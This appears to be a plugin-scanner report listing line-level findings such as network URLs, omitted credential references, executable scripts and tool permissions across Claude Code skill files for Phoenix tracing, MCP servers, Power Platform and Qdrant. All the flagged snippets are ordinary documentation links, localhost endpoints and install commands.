    tracer_provider = register(     project_name="my-app",              # Project name     endpoint="http://localhost:6006",   # Phoenix endpoint
  • Network accessline 45
    project_name="my-app",              # Project name     endpoint="http://localhost:6006",   # Phoenix endpoint     auto_instrument=True,               # Auto-instrument supported libs
  • Network accessline 46
    endpoint="http://localhost:6006",   # Phoenix endpoint
  • Network accessline 89
    **Link:** https://opentelemetry.io/docs/specs/otel/configuration/sdk-environment-variables/
  • Network accessline 93
    1. Open Phoenix UI: `http://localhost:6006`
  • Access to secretsline 103
    [Credential-related source omitted]
  • Network accessline 130
    - [Python OTEL API Docs](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing)
  • Network accessline 131
    - [Python Client API Docs](https://arize.com/docs/phoenix)

harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/setup-typescript.md

  • Network accessline 23
    Connects to `http://localhost:6006` by default.
  • Network accessline 30
    register({   projectName: "my-app",   url: "http://localhost:6006",
  • Network accessline 31
    [Credential-related source omitted]
  • Network accessline 32
    url: "http://localhost:6006",
  • Access to secretsline 33
    [Credential-related source omitted]
  • Network accessline 41
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Network accessline 42
    export PHOENIX_COLLECTOR_ENDPOINT="http://localhost:6006"
  • Network accessline 135
    1. Open Phoenix UI: `http://localhost:6006`
  • Access to secretsline 154
    [Credential-related source omitted]
  • Network accessline 168
    - **Auto-instrumentation:** `instrumentation-auto-typescript.md` - **Manual instrumentation:** `instrumentation-manual-typescript.md` - **API docs:** https://arize-ai.github.io/phoenix/
  • Network accessline 170
    - **API docs:** https://arize-ai.github.io/phoenix/

harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/span-llm.md

  • Network accessline 78
    - **Instrumentation:** `instrumentation-auto-python.md`, `instrumentation-manual-python.md` - **Full spec:** https://github.com/Arize-ai/openinference/blob/main/spec/semantic_conventions.md
  • Network accessline 79
    - **Full spec:** https://github.com/Arize-ai/openinference/blob/main/spec/semantic_conventions.md

harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/span-retriever.md

  • Network accessline 53
    "author": "Jane Doe",   "created_at": "2024-01-15",   "url": "https://example.com/doc",
  • Network accessline 54
    "created_at": "2024-01-15",   "url": "https://example.com/doc",   "chunk_id": "chunk_123"
  • Network accessline 55
    "url": "https://example.com/doc",

harness/claude-code/plugins/php-mcp-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/php-mcp-development/skills/php-mcp-server-generator/references/templates-and-development.md

  • Network accessline 330
    <?xml version="1.0" encoding="UTF-8"?> <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  • Network accessline 331
    <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

harness/claude-code/plugins/platform-vendor-expertise/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/platform-vendor-expertise/skills/shopify-review-triage/SKILL.md

  • Network accessline 13
    scripts, API keys, or system packages. Portable to any client that supports the Agent Skills     SKILL.md format.   source: "https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html"
  • Network accessline 14
    SKILL.md format.   source: "https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html"   version: "'1.0'"
  • Network accessline 15
    source: "https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html"
  • Network accessline 164
    - [Public Shopify review triage guide](https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html)

harness/claude-code/plugins/power-apps-code-apps/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/power-apps-code-apps/skills/power-apps-code-app-scaffold/SKILL.md

  • Network accessline 184
    - Official samples: https://github.com/microsoft/PowerAppsCodeApps, see current docs before coding.

harness/claude-code/plugins/power-bi-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/power-platform-architect/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Tim Hanewich"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/power-platform-architect/skills/power-platform-architect/SKILL.md

  • Network accessline 39
    | AI extraction or prediction | **AI Builder** | OCR, sentiment analysis, prediction, document extraction, invoice/receipt/ID/business card processing, classification, entity extraction, key phrase extraction, language detection, text trans
  • Network accessline 40
    | Enterprise data | **Dataverse** | Tables, columns, relationships, rich text, JSON, file/image storage, RBAC, security roles, business units, row-level security, column-level security, team sharing, elastic tables, auditing, versioning, an
  • Network accessline 41
    | Integrations | **Connectors and Custom Connectors** | Use standard connectors when available; wrap a REST API as a Custom Connector when the target system is absent from https://learn.microsoft.com/en-us/connectors/connector-reference/con
  • Network accessline 67
    6. Write the architecture as a business process story that includes human users and audience labels such as "vendors", "property owners", "audit team", or named business teams. 7. If the user asks for a diagram, generate a simple Mermaid.js
  • Network accessline 69
    8. Tell the user the file was saved and instruct them to open https://mermaid.ai/live/edit, copy the file contents into the Code pane, and report any syntax issue for correction.
  • Network accessline 127
    - `high-level` - `high-volume` - `https://mermaid.ai/live/edit`
  • Network accessline 128
    - `high-volume` - `https://mermaid.ai/live/edit` - `industry-specific`
  • Network accessline 129
    - `https://mermaid.ai/live/edit`
  • Network accessline 165
    ### Optional diagram **Diagram file:** `<file.md>` | not requested **Mermaid editor:** https://mermaid.ai/live/edit
  • Network accessline 167
    **Mermaid editor:** https://mermaid.ai/live/edit
  • Network accessline 181
    - [Power Automate connector reference](https://learn.microsoft.com/en-us/connectors/connector-reference/connector-reference-powerautomate-connectors)
  • Network accessline 182
    - [Mermaid Live Editor](https://mermaid.ai/live/edit)

harness/claude-code/plugins/power-platform-mcp-connector-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/pr-artifact-explorer/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "David Pine",     "url": "https://github.com/IEvangelist"
  • Network accessline 6
    "name": "David Pine",     "url": "https://github.com/IEvangelist"   },
  • Network accessline 7
    "url": "https://github.com/IEvangelist"

harness/claude-code/plugins/project-documenter/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/project-documenter/skills/drawio/scripts/drawio-to-png.mjs

  • Executable scriptline 1
    Executable file
  • Network accessline 311
    const VIEWER_URL = "https://viewer.diagrams.net/js/viewer-static.min.js";

harness/claude-code/plugins/project-documenter/skills/drawio/scripts/package.json

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/project-documenter/skills/md-to-docx/scripts/md-to-docx.mjs

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/project-documenter/skills/md-to-docx/scripts/package.json

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/project-planning/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/project-planning/skills/create-implementation-plan/SKILL.md

  • Network accessline 62
    The frontmatter `status` must be exactly one of `Completed`, `In progress`, `Planned`, `Deprecated`, or `On Hold`. The introduction must show a shields badge using `https://img.shields.io/badge/status-<status>-<status_color>`, where status 
  • Network accessline 79
    ![Status: <status>](https://img.shields.io/badge/status-<status>-<status_color>)

harness/claude-code/plugins/project-planning/skills/update-implementation-plan/SKILL.md

  • Network accessline 86
    ![Status: <status>](https://img.shields.io/badge/status-<status>-<status_color>)
  • Network accessline 202
    - [Shields.io status badge](https://img.shields.io/badge/status-<status>-<status_color>)

harness/claude-code/plugins/python-mcp-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/python-mcp-development/skills/python-mcp-server-generator/SKILL.md

  • Network accessline 56
    For HTTP testing, connect clients to `http://localhost:PORT/mcp`.
  • Network accessline 101
    | Run MCP Inspector | `uv run mcp dev server.py` | | Install to Claude Desktop | `uv run mcp install server.py` | | Run HTTP server | `python server.py`, then connect to `http://localhost:PORT/mcp` |
  • Network accessline 103
    | Run HTTP server | `python server.py`, then connect to `http://localhost:PORT/mcp` |

harness/claude-code/plugins/qdrant-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Copilot Primitives Maintainers"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/qdrant-development/skills/qdrant-clients-sdk/SKILL.md

  • Broad permissionsline 1
    Read, Grep, Glob, Bash
  • Network accessline 26
    | Language | Official SDK | Install command or source | | --- | --- | --- | | Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` |
  • Network accessline 27
    | --- | --- | --- | | Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` | | JavaScript / TypeScript | `qdrant-js` | `npm install @qdrant/js-client-rest` from `https://github.com
  • Network accessline 28
    | Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` |
  • Network accessline 29
    | JavaScript / TypeScript | `qdrant-js` | `npm install @qdrant/js-client-rest` from `https://github.com/qdrant/qdrant-js` |
  • Network accessline 30
    | Rust | `rust-client` | `cargo add qdrant-client` from `https://github.com/qdrant/rust-client` |
  • Network accessline 31
    | Go | `go-client` | `go get github.com/qdrant/go-client` from `https://github.com/qdrant/go-client` |
  • Network accessline 32
    | .NET | `qdrant-dotnet` | `dotnet add package Qdrant.Client` from `https://github.com/qdrant/qdrant-dotnet` |
  • Network accessline 33
    | Java | `java-client` | Maven Central artifact `io.qdrant/client` at `https://central.sonatype.com/artifact/io.qdrant/client` and source `https://github.com/qdrant/java-client` |
  • Network accessline 37
    | Surface | Use when | Reference | | --- | --- | --- | | REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https
  • Network accessline 38
    | --- | --- | --- | | REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https://github.com/qdrant/qdrant/blob/ma
  • Network accessline 39
    | REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https://github.com/qdrant/qdrant/blob/master/docs/redoc/mast
  • Network accessline 40
    | gRPC API | You need lower overhead, streaming-friendly integrations, or native generated protobuf clients. | gRPC protobuf definitions `https://github.com/qdrant/qdrant/tree/master/lib/api/src/grpc/proto` |
  • Network accessline 41
    | Curated snippets | You need operation-level examples before writing code. | `https://snippets.qdrant.tech/search?language=python&query=how+to+upload+points` |
  • Network accessline 45
    1. Choose one supported snippet language: `python`, `typescript`, `rust`, `java`, `go`, or `csharp`. 2. Convert the user's intent into a concise query such as `how to upload points`, `hybrid search`, or `filter by payload`. 3. Fetch snippet
  • Network accessline 46
    2. Convert the user's intent into a concise query such as `how to upload points`, `hybrid search`, or `filter by payload`. 3. Fetch snippets with `curl -X GET "https://snippets.qdrant.tech/search?language=<language>&query=<url-encoded-query
  • Network accessline 47
    3. Fetch snippets with `curl -X GET "https://snippets.qdrant.tech/search?language=<language>&query=<url-encoded-query>"`.
  • Network accessline 62
    | Reliability flags | `parallel=4`, `max_retries=3` | Mention when preserving robust indexing behavior. | | Idempotency | Re-uploading and re-uploading the same `id` overwrites existing points. | If ids are omitted, Qdrant auto-generates UU
  • Network accessline 64
    | Documentation source | `https://qdrant.tech/documentation/manage-data/points/` | Cite when discussing point management. |
  • Network accessline 93
    - [Qdrant Python client](https://github.com/qdrant/qdrant-client)
  • Network accessline 94
    - [Qdrant JavaScript/TypeScript client](https://github.com/qdrant/qdrant-js)
  • Network accessline 95
    - [Qdrant Rust client](https://github.com/qdrant/rust-client)
  • Network accessline 96
    - [Qdrant Go client](https://github.com/qdrant/go-client)
  • Network accessline 97
    - [Qdrant .NET client](https://github.com/qdrant/qdrant-dotnet)
  • Network accessline 98
    - [Qdrant Java client](https://github.com/qdrant/java-client)
  • Network accessline 99
    - [Qdrant Java Maven Central artifact](https://central.sonatype.com/artifact/io.qdrant/client)
  • Network accessline 100
    - [Qdrant REST OpenAPI Reference](https://api.qdrant.tech/api-reference)
  • Network accessline 101
    - [Qdrant OpenAPI JSON](https://github.com/qdrant/qdrant/blob/master/docs/redoc/master/openapi.json)
  • Network accessline 102
    - [Qdrant gRPC protobuf definitions](https://github.com/qdrant/qdrant/tree/master/lib/api/src/grpc/proto)
  • Network accessline 103
    - [Qdrant snippet search example](https://snippets.qdrant.tech/search?language=python&query=how+to+upload+points)
  • Network accessline 104
    - [Qdrant point management](https://qdrant.tech/documentation/manage-data/points/)

harness/claude-code/plugins/qdrant-development/skills/qdrant-deployment-options/SKILL.md

  • Network accessline 102
    - [Qdrant local mode quickstart](https://qdrant.tech/documentation/quickstart/) - [Qdrant Docker quick start](https://qdrant.tech/documentation/quickstart/?s=download-and-run)
  • Network accessline 103
    - [Qdrant Docker quick start](https://qdrant.tech/documentation/quickstart/?s=download-and-run)
  • Network accessline 104
    - [Distributed deployment](https://qdrant.tech/documentation/operations/distributed_deployment/)
  • Network accessline 105
    - [Qdrant Cloud](https://qdrant.tech/documentation/cloud-quickstart/)
  • Network accessline 106
    - [Hybrid Cloud](https://qdrant.tech/documentation/hybrid-cloud/)
  • Network accessline 107
    - [Qdrant EDGE](https://qdrant.tech/documentation/edge/edge-quickstart/)

harness/claude-code/plugins/qdrant-development/skills/qdrant-model-migration/SKILL.md

  • Network accessline 129
    - [Collection aliases](https://qdrant.tech/documentation/manage-data/collections/?s=collection-aliases)
  • Network accessline 130
    - [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=switch-collection)
  • Network accessline 131
    - [Collection with multiple vectors](https://qdrant.tech/documentation/manage-data/collections/?s=collection-with-multiple-vectors)
  • Network accessline 132
    - [Update vectors](https://qdrant.tech/documentation/manage-data/points/?s=update-vectors)
  • Network accessline 133
    - [Update mode](https://qdrant.tech/documentation/manage-data/points/?s=update-mode)
  • Network accessline 134
    - [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 135
    - [Bulk upload](https://qdrant.tech/documentation/tutorials-develop/bulk-upload/)
  • Network accessline 136
    - [Inference docs](https://qdrant.tech/documentation/inference/)

harness/claude-code/plugins/qdrant-development/skills/qdrant-monitoring/SKILL.md

  • Network accessline 34
    Understand available metrics through the Qdrant monitoring documentation at https://qdrant.tech/documentation/operations/monitoring/.
  • Network accessline 34
    Understand available metrics through the Qdrant monitoring documentation at https://qdrant.tech/documentation/operations/monitoring/.
  • Network accessline 99
    - [Qdrant monitoring documentation](https://qdrant.tech/documentation/operations/monitoring/)
  • Network accessline 99
    - [Qdrant monitoring documentation](https://qdrant.tech/documentation/operations/monitoring/)

harness/claude-code/plugins/qdrant-development/skills/qdrant-monitoring/debugging/SKILL.md

  • Network accessline 15
    - Use `/collections/{collection_name}/optimizations` endpoint (v1.17+) to check status [Optimization monitoring](https://qdrant.tech/documentation/operations/optimizer/?s=optimization-monitoring)
  • Network accessline 16
    - Query with optional detail flags: `?with=queued,completed,idle_segments` - Returns: queued optimizations count, active optimizer type, involved segments, progress tracking - Web UI has an Optimizations tab with timeline view and per-task 
  • Network accessline 17
    - Returns: queued optimizations count, active optimizer type, involved segments, progress tracking - Web UI has an Optimizations tab with timeline view and per-task duration metrics [Web UI](https://qdrant.tech/documentation/operations/opti
  • Network accessline 18
    - Web UI has an Optimizations tab with timeline view and per-task duration metrics [Web UI](https://qdrant.tech/documentation/operations/optimizer/?s=web-ui)
  • Network accessline 27
    - Process memory metrics available via `/metrics` (RSS, allocated bytes, page faults) - Qdrant uses two types of RAM: resident memory (data structures, quantized vectors) and OS page cache (cached disk reads). Page cache filling available R
  • Network accessline 28
    - Qdrant uses two types of RAM: resident memory (data structures, quantized vectors) and OS page cache (cached disk reads). Page cache filling available RAM is normal. [Memory article](https://qdrant.tech/articles/memory-consumption/)
  • Network accessline 29
    - If resident memory (RSSAnon) exceeds 80% of total RAM, investigate - Check `/telemetry` for per-collection breakdown of point counts and vector configurations - Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vect
  • Network accessline 30
    - Check `/telemetry` for per-collection breakdown of point counts and vector configurations - Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vectors, plus payload and index overhead [Capacity planning](https://qdra
  • Network accessline 31
    - Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vectors, plus payload and index overhead [Capacity planning](https://qdrant.tech/documentation/operations/capacity-planning/)
  • Network accessline 42
    - Check optimizer status first. Active optimizations compete for CPU and I/O, degrading search latency. - Check segment count via collection info. Too many unmerged segments after bulk upload causes slower search. - Compare filtered vs unfi
  • Network accessline 44
    - Compare filtered vs unfiltered query times. Large gap means missing payload index. [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index)

harness/claude-code/plugins/qdrant-development/skills/qdrant-monitoring/setup/SKILL.md

  • Network accessline 15
    - Node metrics at `/metrics` endpoint [Monitoring docs](https://qdrant.tech/documentation/operations/monitoring/)
  • Network accessline 16
    - Cluster metrics at `/sys_metrics` (Qdrant Cloud only) - Prefix customization via `service.metrics_prefix` config or `QDRANT__SERVICE__METRICS_PREFIX` env var - Example self-hosted setup with Prometheus + Grafana [prometheus-monitoring rep
  • Network accessline 18
    - Example self-hosted setup with Prometheus + Grafana [prometheus-monitoring repo](https://github.com/qdrant/prometheus-monitoring)
  • Network accessline 27
    - Hybrid Cloud Prometheus setup tutorial [Hybrid Cloud Prometheus](https://qdrant.tech/documentation/tutorials-and-examples/hybrid-cloud-prometheus/)
  • Network accessline 28
    - Official Grafana dashboards [Grafana dashboard repo](https://github.com/qdrant/qdrant-cloud-grafana-dashboard)
  • Network accessline 35
    - Use `/healthz`, `/livez`, `/readyz` for basic status, liveness, and readiness [Kubernetes health endpoints](https://qdrant.tech/documentation/operations/monitoring/?s=kubernetes-health-endpoints)
  • Network accessline 42
    - Hybrid Cloud provides ~11 pre-configured Prometheus alerts out of the box [Cloud cluster monitoring](https://qdrant.tech/documentation/cloud/cluster-monitoring/)
  • Network accessline 51
    - Enable JSON log format for structured analysis: set `logger.format` to `json` in config [Configuration](https://qdrant.tech/documentation/operations/configuration/)
  • Network accessline 53
    - Audit logs (v1.17+) write to local filesystem (`/qdrant/storage/audit/`), not stdout. Mount a Persistent Volume and deploy a sidecar container to tail these files to stdout so DaemonSets can pick them up. [Audit logging](https://qdrant.te

harness/claude-code/plugins/qdrant-development/skills/qdrant-performance-optimization/indexing-performance-optimization/SKILL.md

  • Network accessline 10
    - Understand the indexing optimizer [Indexing optimizer](https://qdrant.tech/documentation/operations/optimizer/?s=indexing-optimizer)
  • Network accessline 20
    - Use batch upserts (64-256 points per request) [Points API](https://qdrant.tech/documentation/manage-data/points/?s=upload-points)
  • Network accessline 25
    - Create more shards (3-12), each shard has an independent update worker [Sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=sharding)
  • Network accessline 26
    - Create payload indexes before HNSW builds (needed for filterable vector index) [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index)
  • Network accessline 30
    - Disable HNSW during bulk load (set `indexing_threshold_kb` very high, restore after) [Collection params](https://qdrant.tech/documentation/manage-data/collections/?s=update-collection-parameters)
  • Network accessline 35
    See https://qdrant.tech/documentation/tutorials-develop/bulk-upload/
  • Network accessline 42
    - Check actual progress via optimizations endpoint (v1.17+) [Optimization monitoring](https://qdrant.tech/documentation/operations/optimizer/?s=optimization-monitoring)
  • Network accessline 52
    - Reduce `m` (default 16, good for most cases, 32+ rarely needed) [HNSW params](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index)
  • Network accessline 53
    - Reduce `ef_construct` (100-200 sufficient) [HNSW config](https://qdrant.tech/documentation/manage-data/collections/?s=indexing-vectors-in-hnsw)
  • Network accessline 54
    - Keep `max_indexing_threads` proportional to CPU cores [Configuration](https://qdrant.tech/documentation/operations/configuration/)
  • Network accessline 55
    - Use GPU for indexing [GPU indexing](https://qdrant.tech/documentation/operations/running-with-gpu/)
  • Network accessline 62
    See [Multi-tenant collections](https://qdrant.tech/documentation/manage-data/multitenancy/) for details.
  • Network accessline 71
    Read more about disabling extra HNSW links in [documentation](https://qdrant.tech/documentation/manage-data/indexing/?s=disable-the-creation-of-extra-edges-for-payload-fields)
  • Network accessline 73
    Read more about ACORN in [documentation](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm)

harness/claude-code/plugins/qdrant-development/skills/qdrant-performance-optimization/memory-usage-optimization/SKILL.md

  • Network accessline 18
    - Qdrant exposes memory usage through the `/metrics` endpoint. See [Monitoring docs](https://qdrant.tech/documentation/operations/monitoring/).
  • Network accessline 27
    - For regular search scenarios, general guidelines are provided in the [Capacity planning docs](https://qdrant.tech/documentation/operations/capacity-planning/).
  • Network accessline 29
    For a detailed breakdown of memory usage at large scale, see [Large scale memory usage example](https://qdrant.tech/documentation/tutorials-operations/large-scale-search/?s=memory-usage).
  • Network accessline 42
    - Deployments with low latency disks - local NVMe or similar. - Multi-tenant deployments, where only a subset of tenants is frequently accessed, so that only a fraction of data & index is loaded in RAM at a time. - For deployments with [inl
  • Network accessline 44
    - For deployments with [inline storage](https://qdrant.tech/documentation/operations/optimize/?s=inline-storage-in-hnsw-index) enabled.
  • Network accessline 52
    - Use quantization to store only compressed vectors in RAM [Quantization docs](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 54
    - Use float16 or int8 datatypes to reduce memory usage of vectors by 2x or 4x respectively, with some tradeoff in precision. Read more about vector datatypes in [documentation](https://qdrant.tech/documentation/manage-data/vectors/?s=dataty
  • Network accessline 56
    - Leverage Matryoshka Representation Learning (MRL) to store only small vectors in RAM while keeping large vectors on disk. Examples of how to use MRL with Qdrant Cloud inference: [MRL docs](https://qdrant.tech/documentation/inference/?s=re
  • Network accessline 58
    - For multi-tenant deployments with small tenants, vectors might be stored on disk because the same tenant's data is stored together [Multitenancy docs](https://qdrant.tech/documentation/manage-data/multitenancy/?s=calibrate-performance)
  • Network accessline 60
    - For deployments with fast local storage and relatively low requirements for search throughput, it may be possible to store all components of vector store on disk. Read more about the performance implications of on-disk storage in [the art
  • Network accessline 62
    - For low RAM environments, consider `async_scorer` config, which enables support of `io_uring` for parallel disk access, which can significantly improve performance of on-disk storage. Read more about `async_scorer` in [the article](https:
  • Network accessline 64
    - Consider storing Sparse Vectors and text payload on disk, as they are usually more disk-friendly than dense vectors. - Configure payload indexes to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk
  • Network accessline 65
    - Configure payload indexes to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk-payload-index)
  • Network accessline 66
    - Configure sparse vectors to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=sparse-vector-index)

harness/claude-code/plugins/qdrant-development/skills/qdrant-performance-optimization/search-speed-optimization/SKILL.md

  • Network accessline 28
    - Tune HNSW parameters: [Fine-tuning search](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters)
  • Network accessline 29
    - Enable in-memory quantization: [Scalar quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=scalar-quantization)
  • Network accessline 30
    - Reduce Vector Dimensionality with Matryoshka Models: [Matryoshka Models](https://qdrant.tech/documentation/inference/?s=reduce-vector-dimensionality-with-matryoshka-models)
  • Network accessline 31
    - Use oversampling + rescore for high-dimensional vectors [Search with quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=searching-with-quantization)
  • Network accessline 32
    - Enable io_uring for disk-heavy workloads on Linux [io_uring](https://qdrant.tech/articles/io_uring/)
  • Network accessline 39
    - Reduce segment count (`default_segment_number` to 2) [Maximizing throughput](https://qdrant.tech/documentation/operations/optimize/?s=maximizing-throughput)
  • Network accessline 40
    - Use batch search API instead of single queries [Batch search](https://qdrant.tech/documentation/search/search/?s=batch-search-api)
  • Network accessline 41
    - Enable quantization to reduce CPU cost [Scalar quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=scalar-quantization)
  • Network accessline 42
    - Add replicas to distribute read load [Replication](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication)
  • Network accessline 49
    - Create payload index on the filtered field [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index)
  • Network accessline 50
    - Use `is_tenant=true` for primary filtering condition: [Tenant index](https://qdrant.tech/documentation/manage-data/indexing/?s=tenant-index)
  • Network accessline 51
    - Try ACORN algorithm for complex filters: [ACORN](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm)
  • Network accessline 68
    Learn more [here](https://qdrant.tech/documentation/search/low-latency-search/?s=query-indexed-data-only)

harness/claude-code/plugins/qdrant-development/skills/qdrant-scaling/minimize-latency/SKILL.md

  • Network accessline 14
    - Increase segment count to match CPU cores (`default_segment_number: 16`) [Minimizing latency](https://qdrant.tech/documentation/operations/optimize/?s=minimizing-latency)
  • Network accessline 15
    - Keep quantized vectors and HNSW in RAM (`always_ram=true`) - Reduce `hnsw_ef` at query time (trade recall for speed) [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters) - Use local NVMe,
  • Network accessline 16
    - Reduce `hnsw_ef` at query time (trade recall for speed) [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters)
  • Network accessline 23
    - Vertical scale RAM first. Critical if working set >80%. - Use quantization: scalar (4x reduction) or binary (16x reduction) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 24
    - Use quantization: scalar (4x reduction) or binary (16x reduction) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 25
    - Move payload indexes to disk if filtering is infrequent [On-disk payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk-payload-index)

harness/claude-code/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/horizontal-scaling/SKILL.md

  • Network accessline 34
    - Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding)
  • Network accessline 34
    - Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding)
  • Network accessline 34
    - Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding)

harness/claude-code/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/sliding-time-window/SKILL.md

  • Network accessline 15
    Use when: data has natural time boundaries (daily, weekly, monthly). Preferred because queries span all time periods in one request without application-level fan-out. [User-defined sharding](https://qdrant.tech/documentation/operations/dist
  • Network accessline 31
    Use when: you need per-period collection configuration (e.g., different quantization or storage settings). [Collection aliases](https://qdrant.tech/documentation/manage-data/collections/?s=collection-aliases)
  • Network accessline 33
    1. Create one collection per time period, point a write alias at the newest 2. Query across all active collections in parallel, merge results client-side 3. When a new period starts, create the new collection and swap the write alias [Switc
  • Network accessline 34
    2. Query across all active collections in parallel, merge results client-side 3. When a new period starts, create the new collection and swap the write alias [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=s
  • Network accessline 35
    3. When a new period starts, create the new collection and swap the write alias [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=switch-collection)
  • Network accessline 45
    1. Store a `timestamp` payload on every point, create a payload index on it [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index)
  • Network accessline 46
    2. Filter to the desired window at query time using `range` condition [Range filter](https://qdrant.tech/documentation/search/filtering/?s=range)
  • Network accessline 47
    3. Periodically delete expired points using delete-by-filter [Delete points](https://qdrant.tech/documentation/manage-data/points/?s=delete-points)
  • Network accessline 58
